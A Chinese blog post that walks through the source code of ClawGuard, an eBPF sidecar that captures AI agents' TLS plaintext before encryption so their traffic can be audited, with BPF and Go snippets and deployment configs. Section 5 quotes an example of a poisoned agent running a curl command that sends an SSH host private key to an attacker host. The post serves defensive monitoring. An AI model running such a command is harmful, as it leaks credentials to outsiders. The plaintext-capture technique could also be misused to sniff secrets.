如果你运行过 AI Agent 生产环境,一定遇到过一个尴尬的问题:Agent 走的 HTTPS,你完全不知道它和 API 之间说了什么。
传统解法是挂 MITM 代理——在 Agent 前面架一个自签 CA 的 HTTPS 中间人,解密、检查、再加密转发。但这套方案在 agent 时代暴露出四个硬伤:
- 侵入性 — 你得改 Agent 的镜像或者容器启动参数才能信任你的 CA
- 延迟放大 — 每次请求多一次完整 TLS 握手 + 加解密
- 维护成本 — 自签 CA 过期、轮换、分发,每个环节都在增加运维面
- 盲区 — 如果 Agent 用 Go 的
crypto/tls标准库而不是 OpenSSL,传统 MITM 代理可能根本 hook 不到
ClawGuard 选择了另一条路——在加密前旁观。
它不是代理,不是网关,不修改数据包。它是一个 eBPF sidecar,在 Agent 进程里找到 SSL_write / SSL_write_ex / Go crypto/tls.(*Conn).Write 的调用点,在 数据还没加密、还没写到 socket 的瞬间,把明文复制一份出来。
零入侵、零延迟放大、零丢包风险。
这篇是「源码级解析」系列的第一篇,我们从 BPF C 程序开始,一路走到 Go 用户态重组引擎、插件化管道架构、Kubernetes 部署方式,最后聊它在 MCPZERO + Hysee 蓝图中的位置。
一、为什么是「加密前旁观」而不是 MITM?
2026 年的 Agent 安全栈,有一个从浅到深的防御梯度:
网关层(MCPZERO Entry) → 已做
运行时检测(ClawGuard) → 这篇文章
桌面沙箱(Hysee) → 未来
网关层能拦截 Agent 发起的工具调用(read_file、send_email、http_request),但它对已建立的 TLS 连接无能为力——网关看到的是加密隧道,不知道里面跑了什么。
运行时检测要回答三个问题:
- Agent 在向哪个 API 发送了什么数据?(明文内容)
- 哪个进程发起的这个 TLS 连接?(溯源)
- 如果 Agent 被投毒,数据外泄的窗口有多大?(审计)
MITM 代理可以做到,但代价太大。ClawGuard 用 eBPF uprobe 在用户态函数的入口点挂 hook——在 SSL_write 被调用时,buf 和 num(明文指针和长度)已经作为参数传进来了,加密还没发生。uprobe 把这段明文复制到 BPF ringbuf,用户态守护进程再把它重组、持久化、推送到插件管道。
整个过程:
- 不拆包 — 不碰网络栈
- 不挂钩 — 不干扰 TLS 握手的任何环节
- 不改容器 — 不需要挂 CA 证书、不需要改环境变量
- 不修改写缓冲区 — 只读复制,不影响原始数据
唯一的代价是:需要一个带 KVM 权限的 sidecar 容器。
二、BPF 程序:在加密前截取明文
核心 BPF C 程序在 bpf/ssl_write.bpf.c,约 180 行。它负责三个 uprobe:
| Hook | 目标函数 | 参数 |
|---|---|---|
probe_ssl_write |
OpenSSL SSL_write |
(ssl, buf, num) |
probe_ssl_write_ex |
OpenSSL SSL_write_ex |
(ssl, buf, num, written) |
probe_go_tls_write |
Go crypto/tls.(*Conn).Write |
register ABI |
2.1 数据结构
每次 uprobe 捕获产生一个 ssl_event,通过 BPF ringbuf 传递给用户态进程:
struct ssl_event {
__u32 pid; // 进程 ID
__u32 tid; // 线程 ID
__u32 call_id; // 去重调用 ID
__u32 orig_len; // 原始明文长度
__u32 total_len; // 实际捕获长度(可能被 max_capture 截断)
__u32 truncated; // 是否被截断
__u32 frag_idx; // 当前分片索引
__u32 frag_cnt; // 总分片数
__u32 chunk_len; // 本分片有效数据长度
__u32 hook_type; // 1=SSL_write, 2=SSL_write_ex, 3=Go TLS
__u8 payload[512]; // 明文分片数据
};
关键设计决策:每个事件只携带 512 字节的 payload,大消息被拆成多个 fragment。这样做的好处是 ringbuf 的单次预留不会太大,不会因为一次大写入撑爆 ringbuf 导致后续所有事件丢失。
分片数通过 bpf_loop 计算:
#define CHUNK_SIZE 512
/* Kernel bpf_loop hard limit is 1<<23 */
#define BPF_LOOP_MAX (1u << 20)
frag64 = ((__u64)total_len + CHUNK_SIZE - 1) / CHUNK_SIZE;
if (frag64 > BPF_LOOP_MAX) {
frag_cnt = BPF_LOOP_MAX;
total_len = BPF_LOOP_MAX * CHUNK_SIZE;
truncated = 1;
}
这意味着理论最大单次写入捕获可达 512MB(BPF_LOOP_MAX × 512B),而社区常见的同类方案大多停在 16KB 单品 cap。ClawGuard 默认 unlimited(可配置 CLAWGUARD_MAX_CAPTURE_BYTES 安全阀)。
2.2 去重机制
SSL_write 被调用时,调用者和被调用者之间的最后一个函数帧可能触发多次 probe 命中——同一个 (PID, TID, buf, num) 组合在 2ms 窗口内可能出现多次。ClawGuard 用 LRU hash map 做去重:
struct call_state {
__u64 last_buf;
__u32 last_num;
__u32 last_call_id;
__u64 last_ts_ns;
__u32 seq;
};
#define DEDUP_WINDOW_NS 2000000ULL // 2ms
// 在 2ms 窗口内、相同 buf+num → 复用同一 call_id
// 超出窗口 → 自增 seq 生成新 call_id
去重不是单纯防重复——它对用户态重组至关重要。同一个逻辑写入的所有 fragment 共享一个 call_id,用户态据此把多个 fragment 拼回完整的 HTTP 请求体。
2.3 分片发射
用 bpf_loop 遍历所有 fragment:
static long emit_one_frag(__u32 index, void *data) {
struct emit_ctx *c = data;
// 计算偏移和 chunk 长度
offset = index * CHUNK_SIZE;
chunk_len = c->total_len - offset;
if (chunk_len > CHUNK_SIZE)
chunk_len = CHUNK_SIZE;
// 预留 ringbuf 空间
e = bpf_ringbuf_reserve(&events, sizeof(*e), 0);
if (!e) {
c->truncated = 1;
return 1; // 告诉 bpf_loop 提前结束
}
// 从用户态复制明文到 BPF 缓冲区
bpf_probe_read_user(e->payload, CHUNK_SIZE, (void *)(c->buf + offset));
bpf_ringbuf_submit(e, 0);
return 0;
}
// 入口函数
static __always_inline int emit_from_buf(const void *buf, long num_long, ...) {
// ... 安全检查、分片数计算 ...
bpf_loop(frag_cnt, emit_one_frag, &ec, 0);
return 0;
}
bpf_loop 比手写 for 循环的重要优势:内核保证循环不会超过 BPF verifier 的可证明上限,不会因为 verifier 拒绝而打不开程序。
三、Go 用户态:从 ringbuf 到流水线
BPF 侧只管捕获和分片。重组、持久化、管道分发都在 Go 用户态守护进程里。
3.1 重组引擎
用户态从 ringbuf 读出 sslEvent(Go 端对应结构体),按 (PID, TID, CallID) 三元组作为 key,把 fragment 拼回完整消息:
type reassemblyKey struct {
PID uint32
TID uint32
CallID uint32
}
type reassemblyState struct {
origLen uint32
totalLen uint32
truncated bool
fragCnt uint32
slots *fragSlots // 分片槽位
firstAt time.Time // 第一个 fragment 到达时间
lastAt time.Time // 最新 fragment 到达时间
}
关键参数:
CLAWGUARD_CHUNK_POOL_MB = 256— 用户态分片池大小CLAWGUARD_REASSEMBLY_TTL = 30s— 不完整的 reassembly 超时清理CLAWGUARD_PAYLOAD_PREVIEW_MAX = 16384— stdout 日志预览上限
重组完成后,生成一个 CaptureEvent 交给管道。
3.2 管道架构
ClawGuard 的管道设计是亮点——插件化、可热加载、同步+异步双通道:
BPF ringbuf → 重组引擎 → CaptureEvent
│
Pipeline.Emit()
┌─────┴─────┐
▼ ▼
Sync Processors Fan-out
(mask, mutate) │
┌────┴────┐
▼ ▼
Sink Queues Async Queues
(file/otel) (detect)
pipeline.go 的核心逻辑:
func (p *Pipeline) Emit(ev *event.CaptureEvent) {
// 1. 注入版本信息
snap := version.Snapshot()
ev.ClawguardVersion = snap.Version
ev.ClawguardCommit = snap.Commit
// 2. Sync processors(同步、可修改 event)
for _, proc := range p.mgr.SyncProcessors() {
if err := proc.Process(ev); err != nil {
log.Printf("sync processor %s: %v", name, err)
}
}
// 3. 非阻塞推入所有 sink 队列
for _, ch := range p.sinkQueues {
select {
case ch <- ev:
default:
p.onDrop(name) // 队列满,丢弃计数
}
}
// 4. 非阻塞推入所有 async processor 队列
// ...
}
为什么要区分 sync 和 async?
- Sync:
mask处理器可以修改 event(比如脱敏、过滤敏感字段)。必须等它完成,下游才看到最终版本。 - Async:
detect处理器只观察、不修改。它跑在旁路,不影响主路径延迟。默认启用的detect处理器会输出观测发现(findings)到日志,但不阻塞 sink。
插件热加载:通过 SIGHUP 信号重载配置和插件列表,AfterReload() 停止旧 worker、启动新 worker,不脱钩 eBPF 程序。
3.3 插件生态
ClawGuard 定义了清晰的插件合约(docs/plugin-contract.md),内置 5 个参考实现:
| 插件 | 模式 | 功能 |
|---|---|---|
clawguard-sink-file |
Sink | 写入 JSONL 文件(默认启用) |
clawguard-sink-otel |
Sink | OTLP 日志导出 |
clawguard-sink-debugws |
Sink | 调试 Web UI / WebSocket |
clawguard-processor-detect |
Async | 观测规则检测(默认启用) |
clawguard-processor-mask |
Sync | 存储侧脱敏(默认关闭) |
插件通过 JSON RPC 与主进程通信,意味着你可以用任何语言写自己的 sink/processor,放入 CLAWGUARD_PLUGIN_DIR 即可。
四、部署方式:DaemonSet vs Sidecar
ClawGuard 支持两种部署模式:
Kubernetes DaemonSet
每个节点一个 ClawGuard Pod,通过 clawguard.io/monitor: "true" 注解选择要观察的目标:
apiVersion: v1
kind: Pod
metadata:
annotations:
clawguard.io/monitor: "true"
spec:
containers:
- name: my-agent
image: my-agent:latest
DaemonSet 的权限要求:
securityContext:
privileged: true # 需要加载 eBPF 程序
hostPID: true # 访问目标进程的 /proc
volumes:
- hostPath:
path: /var/log/clawguard # 明文日志持久化
Docker 单机模式
docker run -d --name clawguard \
--privileged --pid=host \
-v /var/run/docker.sock:/var/run/docker.sock \
-v "$(pwd)/clawguard-logs:/var/log/clawguard" \
-e CLAWGUARD_LABEL=clawguard.monitor=true \
eyelessly/clawguard:latest
Docker 模式通过 Docker API 监听容器事件,用 label 过滤目标容器。
五、与 MCPZERO 体系的配合
ClawGuard 在 MCPZERO 安全栈中扮演的角色是 「加密隧道里最后一道可见性」:
Agent (Claude Code / Codex / Cursor)
│
├── MCPZERO Entry Gateway
│ └─ 拦截工具调用(read_file / send_email / http_request)
│
├── ClawGuard eBPF Sidecar
│ └─ 捕获 TLS 明文(SSL_write / Go TLS Write)
│ └─ 审计日志为什么 Agent 向哪个 API 发送了什么
│
└── Hysee 桌面沙箱(未来)
└─ microVM 级别的进程隔离 + 关键字网络过滤
MCPZERO 做「协议层控制」——工具能不能调、参数合不合法、频率超没超。 ClawGuard 做「传输层可见性」——TLS 隧道的明文内容是什么、有没有外泄。
两者互补而不重叠。网关不知道 TLS 隧道里跑了什么,eBPF 侧不知道 call 的语义是什么。
举个具体场景:
Agent 被投毒后执行 curl -d "$(cat /etc/ssh/ssh_host_rsa_key)" https://attacker.io/exfil。MCPZERO 网关可能放行这个 HTTP 请求(看起来像正常的 API 调用),但 ClawGuard 捕获的 TLS 明文里会看到 ssh 私钥被发送出去。这就是检测盲区的闭合。
六、局限 & 演进方向
当前局限
| 局限 | 原因 | 缓解 |
|---|---|---|
| 不支持 BoringSSL / Java SSLEngine | 只 hook 了 OpenSSL 和 Go crypto/tls | Node.js 会 fallback 到 libssl 符号 |
| Go 要求 1.21+ / unstripped 或 pclntab 可用 | Go 内联函数地址解析需要符号表 | 静态编译的 Go 二进制多数没问题 |
| 被动观察,不阻断 | 设计原则(不碰发送缓冲区) | 已预留 mask sync processor 接口(默认关闭) |
| 回压情况下丢事件 | ringbuf / 池 / TTL / 队列满 | 所有丢包都在 Prometheus 指标 clawguard_sink_dropped_total 中可观测 |
| 不支持 Trace ID 提取 | eBPF 侧未实现 | 明文中有 traceparent 时可利用 |
演进方向
ClawGuard 的开源路线图(来自 repo 和论文):
- Sync Mask 处理器 — 在明文保存前对敏感字段做原地脱敏(默认关闭,合规场景启用)
- eBPF TCP 关联 — 把 TLS 明文和底层的 TCP 连接关联起来,做到「明文写入了哪个 socket」
- Trace ID 的 eBPF 提取 — 不需要依赖明文中的
traceparent,直接在 eBPF 侧提取 - 与 Hysee 的通信通道 — ClawGuard 发现的明文外泄事件推送给 Hysee 做实时拦截
总结
ClawGuard 在 2026 年的 Agent 安全版图里占据了一个被严重低估的位置。
大家都去抢网关层(MCPZERO、Lasso、Microsoft MCP Gateway),少有人同时覆盖运行时 TLS 明文捕获层。而后者恰恰是最适合用 eBPF 解决的问题——不需要改协议、不需要改框架、不需要改部署流程,只要 Linux ≥ 5.17 和 KVM 权限,就能获得 Agent 所有对外通信的完整明文审计日志。
它的插件化管道设计和 sync/async 双通道架构,为未来的「检测 + 阻断」闭环预留了接口。今天它是 observe-and-persist,明天它可以变成 observe-and-block——而整个 BPF 程序和重组引擎不需要大改。
在 MCPZERO + ClawGuard + Hysee 的三层防线里,ClawGuard 是连接「协议控制」和「进程隔离」的桥梁层。它不是最耀眼的那一层——但缺了它,网关和沙箱之间有一段加密隧道是完全不可见的黑洞。
参考资源:
- ClawGuard GitHub — 源码 & 部署文档
- ClawGuard arXiv 论文 2604.11790 — 完整技术报告
- 《从零搭建企业级 MCP 安全架构》 — MCPZERO + ClawGuard + Grafana 实战部署
- 《MCP Gateway 横向评测》 — 网关层防御对比